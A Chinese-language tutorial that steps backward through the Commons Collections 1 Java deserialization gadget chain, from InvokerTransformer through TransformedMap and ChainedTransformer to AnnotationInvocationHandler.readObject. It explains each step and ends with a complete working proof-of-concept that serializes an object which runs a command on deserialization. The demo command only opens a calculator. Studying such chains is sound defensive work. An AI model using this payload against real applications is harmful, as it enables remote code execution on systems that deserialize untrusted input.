环境搭建不说了 网上很多优秀的文章教学

先列出利用的链子然后我们需要倒着进行分析

AnnotationInvocationHandler.readObject()-->
AbstractInputCheckedMapDecorator.MapEntry.setValue()-->
TransformedMap.checkSetValue()-->
ChainedTransformer.transform()-->
InvokerTransformer.transform()

CC1链的末尾(入口/源头)就是Commons Collections库中的Tranformer接口,这个接口里面有个transform方法。

InvokerTransformer

找到这个类发现实现了Tranformer接口的方法

public Object transform(Object input) {//定义了一个返回类型是object的公共方法且接受的参数是一个input的Object
if (input == null) {//检查传入的参数是否为null,为null直接返回null
return null;
} else {
try {
Class cls = input.getClass();//反射获取 input 对象的 Class 对象。
Method method = cls.getMethod(this.iMethodName, this.iParamTypes);//从 cls 表示的类中查找一个公共方法,并返回对应的 Method 对象。
return method.invoke(input, this.iArgs);//调用 method 表示的方法,并返回其结果

可以看到这段代码 代码不好建议逐句分析这里直接放到注释里面

这就完全符合反序列化的参数可控可以直接进行利用,参数可控就导致了反射调用任意类 任意方法

进行利用

package org.example;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import java.io.IOException;
import java.lang.reflect.*;

public class cc1 {
public static void main(String[] args) throws InvocationTargetException, IllegalAccessException, NoSuchMethodException {
//正常 调用可命令执行的方法
//Runtime.getRuntime().exec("calc");

Runtime cmd = Runtime.getRuntime();
//使用反射 调用可命令执行的方法
//Class clazz = Runtime.class;
//Method cmdMethod = clazz.getMethod("exec", String.class);
//cmdMethod.invoke(cmd, "calc");

//InvokerTransformer类 调用可命令执行的方法
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(cmd);

}
}
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(cmd);//给InvokerTransformer里的参数赋值,然后调用transform(cmd),最终实习在cmd上实现Runtime.getRuntime().exec("calc")

TransformedMap

知道了InvokerTransformer类可以调用transform()方法执行命令,那接下来的思路就是寻找还有其他什么地方调用了InvokerTransformer类的transform()方法。

可以看到在TransformedMap这个类下面的checkSetValue方法调用了从valueTransformer.transform

往上找valueTransformer

protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {
super(map);
this.keyTransformer = keyTransformer;
this.valueTransformer = valueTransformer;
}

发现 keyTransformer,valueTransformer 参数可控 但是是protected,只能内部类访问,权限不够,往上找,查看是谁具体调用了方法checkSetValue()内部的这个transform(),发现是valueTransformer进行调用,查看valueTransformer,发现valueTransformer也是protect权限,继续查看valueTransformer从哪里来的,最后我们发现decorate()调用TransformedMap()的构造方法来的,所有涉及到的方法,只有decorate的权限修饰符是public

public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
return new TransformedMap(map, keyTransformer, valueTransformer);
}

那么这个decorate类我们就可以进一步控制valueTransformer

关键:TransformedMap 本身不存储数据,而是将操作委托给原始 HashMap,并在操作前后触发转换器逻辑。

这里穿插一下TransformedMap装饰器本事就像是一个外挂没有实际作用需要HashMap来存储键值对,需要披挂在HashMap上才能发挥作用

由于我们使用的是transformMap的方法,所以先去构建一个HashMap,再通过这个map来调用transformer内的decorate()来完成一个transformedMap的实例化,最后再想办法触发checkSetValue()方法即可

Runtime r=Runtime.*getRuntime*();
InvokerTransformer invokerTransformer=new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
//invokerTransformer.transform(r);
HashMap<Object,Object> map=new HashMap<>(); //这个直接实例化一个HashMap

Map<Object,Object> transformedmap=TransformedMap.decorate(map,null,invokerTransformer);
//静态方法staic修饰直接类名+方法名调用
//把map当成参数传入,然后第二个参数我们用不着就赋空值null,第三个参数就是我们之前的invokerTransformer.

寻找调用checkSetValue()的方法

发现AbstractlnputCheckedMapDecorator类种的setValue方法可以进行对checkSetvalue的调用那么就

checkSetValue()TransformedMap的关键方法,用于在值被修改时应用转换逻辑。当调用 Map.Entry.setValue() 修改条目值时,TransformedMapcheckSetValue() 会被触发,对值进行转换。

穿插:Map里存储了键值对,每一个键值对被java封装成一个Entry对象,当想修改键值对的值的时候就可以可以直接通过`Entry`的`setValue()`方法进行修改,这里因为有装饰器TransformedMap,装饰器TransformedMap监听对值的修改操作,就是每当想调用**`setValue()`时,外挂会先触发`checkSetValue()`方法**,对修改的值做额外的处理

MapEntry类实际上是重写父类AbstractMapEntryDecorator的setValue()方法

MapEntry的父类AbstractMapEntryDecorator又引入了Map.Entry接口,所以我们只需要进行常用的Map遍历,就可以调用setValue(),,然后水到渠成的调用checkSetValue()

解释下为什么要遍历:`TransformedMap`的机制**:它通过装饰`Map.Entry`对象(每个纸条)来监听修改操作,直接调用`map.put("键", "新值")`可能绕开外挂程序,遍历后通过`entry.setValue()`修改,才能确保外挂程序被调用,**底层原因:TransformedMap`的`Map.Entry`是改装过的(`AbstractMapEntryDecorator`的子类),它的`setValue()`方法被重写,主动调用`checkSetValue(),遍历是确保每个`Entry`都使用改装后的方法的关键步骤 

一句话就是确保每个Entry都使用改装后的方法,进而更好调用setvalue去调用checkSetvalue

public class TransformedMapDemo {
public static void main(String[] args) {
Runtime runtime = Runtime.getRuntime();
InvokerTransformer invokerTransformer = new InvokerTransformer(
"exec", new Class[]{String.class}, new Object[]{"calc"});
HashMap<Object,Object> map=new HashMap<>();

​ map.put("key","value"); //给map一个键值对,方便遍历

//构造transformedmap是调用tranform()的前置条件
​ Map<Object, Object> transformedMap = TransformedMap.decorate(
​ map, null, invokerTransformer);

for(Map.Entry entry:transformedMap.entrySet()) { //遍历Map常用格式
//调用setValue方法,通过setValue去触发checkSetValue()
​ entry.setValue(runtime);
​ }
}

}
for(Map.Entry entry:transformedMap.entrySet()) {   *//遍历Map常用格式*    entry.setValue(runtime);                      }

在这里, transformedMap是经过装饰的 Map对象,具有特殊的行为。通过 entrySet() 方法获取了键值对的集合,然后进行遍历。transformedMap.entrySet()返回的是一个包含 Map.Entry 对象的集合,这样就可以遍历 M ap 的键值对。Map.Entry 是一个内部接口,用于表示Map中 的键值对,其中可以通过 getKey() 获取键,通过 getValue()获取值。

因为Map里的entrySet()是被transformedMap装饰器进行外挂的,本来是要去Map种的setvalue方法,但是经过装饰器的定义绘制街道MapEntry种调用里面的setValue方法进而去调用checkSetValue方法

梳理

首先,我们找到了TransformedMap这个类,我们想要调用其中的checkSetValue方法,但是这个类的构造器是peotected权限,只能类中访问,所以我们调用decorate方法来实例化这个类,

在此之前我们先实例化了一个HashMap,并且调用了put方法给他赋了一个键值对(这里是为了让我们再后边的遍历中调用setValue()提供前置条件),然后把这个map当成参数传入,实例化成了一个transformedmap对象,这个对象也是Map类型的,

然后我们对这个对象进行遍历,在遍历过程中我们可以调用setValue方法,而恰好又遇到了一个重写了setValue的父类,这个重写的方法刚好调用了checkSetValue方法,这样就形成了一个闭环

追寻setValue,找到readObject()

AnnotationInvocationHandler

private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
s.defaultReadObject();

// Check to make sure that types have not evolved incompatibly

AnnotationType annotationType = null;
try {
annotationType = AnnotationType.getInstance(type);
} catch(IllegalArgumentException e) {
// Class is no longer an annotation type; time to punch out
throw new java.io.InvalidObjectException("Non-annotation type in annotation serial stream");
}

Map<String, Class<?>> memberTypes = annotationType.memberTypes();

// If there are annotation members without values, that
// situation is handled by the invoke method.
for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
String name = memberValue.getKey();
Class<?> memberType = memberTypes.get(name);
if (memberType != null) { // i.e. member still exists
Object value = memberValue.getValue();
if (!(memberType.isInstance(value) ||
value instanceof ExceptionProxy)) {
memberValue.setValue(
new AnnotationTypeMismatchExceptionProxy(
value.getClass() + "[" + value + "]").setMember(
annotationType.members().get(name)));
}
}
}
}

发现了readobject下调用了setvalue

由于memberValues可控,这样我们就可以传入自己需要的,然后实现setValue方法

但是这个类没有说明是不是public之类的,也就是我们只能在包里面进行diaoyong,要想在外部调用的话就必须使用反射

copy的粗略的代码

public static void main(String[] args) throws Exception {
Runtime runtime = Runtime.getRuntime();
InvokerTransformer invokerTransformer = new InvokerTransformer(
"exec", new Class[]{String.class}, new Object[]{"calc"});
HashMap<Object,Object> map=new HashMap<>();
map.put("key","value"); //给map一个键值对,方便遍历

Map<Object,Object> transformedMap = TransformedMap.decorate(map, null, invokerTransformer);

// 获取sun.reflect.annotation.AnnotationInvocationHandler类的Class对象
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");

// 获取指定参数类型的构造函数Constructor对象,这里我们能获取到估计就是它的那个构造函数
Constructor constructor = c.getDeclaredConstructor(Class.class, Map.class);
// 相当于提升自己权限,以便可以访问非公共构造函数
constructor.setAccessible(true);

//这里第一个是参数是注解的类原型,第二个就是我们之前的类
// 使用newInstance()方法创建一个新的AnnotationInvocationHandler实例
// 传递Override.class和decorate两个参数给构造函数
Object o = constructor.newInstance(Override.class, transformedMap);
serialize(o); //序列化
unserialize("CC1.txt"); //反序列化

}
//定义序列化方法
public static void serialize(Object object) throws Exception{
ObjectOutputStream oos=new ObjectOutputStream(new FileOutputStream("CC1.txt"));
oos.writeObject(object);
}

//定义反序列化方法
public static void unserialize(String filename) throws Exception{
ObjectInputStream objectInputStream=new ObjectInputStream(new FileInputStream(filename));
objectInputStream.readObject();
}

发现没有弹出计算器

解决三个问题

1. Runtime是没有实现Serializable接口的,无法序列化
2. AnnotationInvocationHandler中的readObject执行 memberValue.setValue需要绕过两if判断
3. memberValue.setValue中的值无法控制

Runtime是没有实现Serializable接口的,无法序列化

虽然Runtime是没有实现Serializable接口的,可以运用反射来获取它的原型类,它的原型类Class是存在serializable接口,可以序列化的

改成下面这种形式

public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException {
Class rc=Class.forName("java.lang.Runtime"); //获取类原型
Method getRuntime= rc.getDeclaredMethod("getRuntime",null); //获取getRuntime方法,
Runtime r=(Runtime) getRuntime.invoke(null,null); //获取实例化对象,因为该方法为无参方法,所以全为null
Method exec=rc.getDeclaredMethod("exec", String.class); //获取exec方法
exec.invoke(r,"calc"); //实现命令执行
}

改成这样也是可以执行命令的;但是问题又来了,上面一共执行了三次transform方法。但是InvokerTransformer类中只能执行一次transform方法;

这里又要介绍一个需要利用的类ChainedTransformer;可以看一下此类的构造方法和transform方法

//传递一个transformers方法
public ChainedTransformer(Transformer[] transformers) {
super();
iTransformers = transformers;
}

//一个for循环,将上一个对象当作下一个函数执行,循环嵌套
public Object transform(Object object) {
for (int i = 0; i < iTransformers.length; i++) {
object = iTransformers[i].transform(object);
}
return object;
}

所以我们利用chainedTransformer

public static void main(String[] args) throws ClassNotFoundException {
Class runtimeClass = Class.forName("java.lang.Runtime"); //获取原型类
Transformer[] Transformers=new Transformer[]{
new InvokerTransformer("getDeclaredMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
//调用含参构造器传入Transformer数组,然后调用transform方法,这里对象只需要传一个原始的Runtime就行,因为其他都是嵌套的。
ChainedTransformer chainedTransformer= new ChainedTransformer(Transformers);
chainedTransformer.transform(Runtime.class);
}

同样可以运行

解决setValue()方法无法执行的原因

setValue()方法是在两个if语句下边

所以我们需要绕过这两个if语句才能执行

第一个if就是判断类型要不为空

第二个if

memberType.isInstance(value) || value instanceof ExceptionProxy:表示 value 是 memberType 类型的实例,或者是 ExceptionProxy 类型。

!():对整个条件取反。,如果 value 既不是 memberType 的实例,也不是 ExceptionProxy,条件为真,进入 if 块。

解决无法控制setValue值的问题

处理完if发现传进去的参数我们不可控

这里需要借助另一个类ConstantTransformer;这个类非常有意思,构造方法传递什么值,transform就返回什么值

public ConstantTransformer(Object constantToReturn) {
super();
iConstant = constantToReturn;
}

public Object transform(Object input) {
return iConstant;
}

POC

package org.example;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException;
import java.util.HashMap;
import java.util.Map;

public class cc1 {
public static void main(String[] args) throws IOException, InvocationTargetException, IllegalAccessException, NoSuchMethodException, ClassNotFoundException, InstantiationException {

Transformer[] transformers = {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};

ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> hashMap = new HashMap<>();
hashMap.put("value","deadbeef");
Map<Object,Object> transformedMap = TransformedMap.decorate(hashMap, null, chainedTransformer);

Class<?> clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> annotationInvocationHandler = clazz.getDeclaredConstructor(Class.class, Map.class);
annotationInvocationHandler.setAccessible(true);
Object o = annotationInvocationHandler.newInstance(Target.class,transformedMap);

serialize(o);
unserialize();
}

public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
oos.close();
}

public static void unserialize() throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("ser.bin"));
ois.readObject();
ois.close();
}
}